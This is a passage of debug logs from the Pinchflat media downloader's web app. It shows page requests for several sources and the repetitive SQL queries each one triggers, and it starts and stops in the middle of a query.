s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:15:19.687 [debug] QUERY OK source="settings" db=0.0ms idle=25.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:15:19.688 [debug] QUERY OK source="sources" db=0.0ms idle=1.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 18:15:19.688 [debug] QUERY OK source="media_items" db=0.2ms idle=1.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [30] 18:15:19.688 [debug] QUERY OK source="media_items" db=0.3ms idle=1.3ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [30, 10, 0] 18:15:19.689 [debug] QUERY OK source="sources" db=0.0ms idle=1.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 18:15:19.689 [debug] QUERY OK source="media_items" db=0.0ms idle=1.7ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [30] 18:15:19.689 [debug] QUERY OK source="media_items" db=0.1ms idle=1.3ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [30, 10, 0] 18:15:19.689 [debug] QUERY OK source="sources" db=0.0ms idle=1.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 18:15:19.689 [debug] QUERY OK source="media_items" db=0.1ms idle=0.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [30] 18:15:19.690 [debug] QUERY OK source="media_items" db=0.3ms idle=0.8ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [30, 10, 0] 18:15:19.691 [info] Sent 200 in 804ms 18:15:19.753 [info] GET /sources/32 18:15:19.753 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "32"} Pipelines: [:browser] 18:15:19.754 [debug] QUERY OK source="sources" db=0.1ms idle=64.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 18:15:19.754 [debug] QUERY OK source="media_profiles" db=0.1ms idle=64.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:15:19.794 [debug] QUERY OK source="tasks" db=40.3ms idle=64.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [32, "executing", "available", "scheduled", "retryable"] 18:15:19.795 [debug] QUERY OK source="oban_jobs" db=0.2ms idle=105.1ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?)) [3800374, 3668143] 18:15:19.795 [debug] QUERY OK source="settings" db=0.1ms idle=105.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:15:19.795 [debug] QUERY OK source="settings" db=0.1ms idle=41.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:15:19.796 [debug] QUERY OK source="settings" db=0.0ms idle=41.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:15:19.796 [debug] QUERY OK source="sources" db=0.0ms idle=1.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 18:15:19.798 [debug] QUERY OK source="media_items" db=1.8ms idle=1.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [32] 18:15:19.800 [debug] QUERY OK source="media_items" db=1.8ms idle=3.2ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [32, 10, 0] 18:15:19.801 [debug] QUERY OK source="sources" db=0.0ms idle=5.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 18:15:19.801 [debug] QUERY OK source="media_items" db=0.3ms idle=4.8ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [32] 18:15:19.804 [debug] QUERY OK source="media_items" db=2.9ms idle=4.5ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [32, 10, 0] 18:15:19.804 [debug] QUERY OK source="sources" db=0.0ms idle=5.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 18:15:19.805 [debug] QUERY OK source="media_items" db=0.3ms idle=4.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [32] 18:15:19.807 [debug] QUERY OK source="media_items" db=1.6ms idle=4.3ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [32, 10, 0] 18:15:19.807 [info] Sent 200 in 53ms 18:15:19.844 [info] GET /sources/39 18:15:19.844 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "39"} Pipelines: [:browser] 18:15:19.844 [debug] QUERY OK source="sources" db=0.1ms idle=42.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [39] 18:15:19.844 [debug] QUERY OK source="media_profiles" db=0.0ms idle=40.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:15:19.860 [debug] QUERY OK source="tasks" db=15.8ms idle=39.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [39, "executing", "available", "scheduled", "retryable"] 18:15:19.860 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=55.4ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?)) [3800371, 3708917] 18:15:19.861 [debug] QUERY OK source="settings" db=0.0ms idle=54.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:15:19.861 [debug] QUERY OK source="settings" db=0.0ms idle=16.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:15:19.861 [debug] QUERY OK source="settings" db=0.0ms idle=16.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:15:19.862 [debug] QUERY OK source="sources" db=0.0ms idle=1.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [39] 18:15:19.862 [debug] QUERY OK source="media_items" db=0.4ms idle=1.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [39] 18:15:19.863 [debug] QUERY OK source="media_items" db=0.4ms idle=1.5ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [39, 10, 0] 18:15:19.863 [debug] QUERY OK source="sources" db=0.0ms idle=2.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [39] 18:15:19.863 [debug] QUERY OK source="media_items" db=0.0ms idle=1.9ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [39] 18:15:19.863 [debug] QUERY OK source="media_items" db=0.3ms idle=1.4ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [39, 10, 0] 18:15:19.864 [debug] QUERY OK source="sources" db=0.0ms idle=1.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [39] 18:15:19.864 [debug] QUERY OK source="media_items" db=0.1ms idle=1.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= 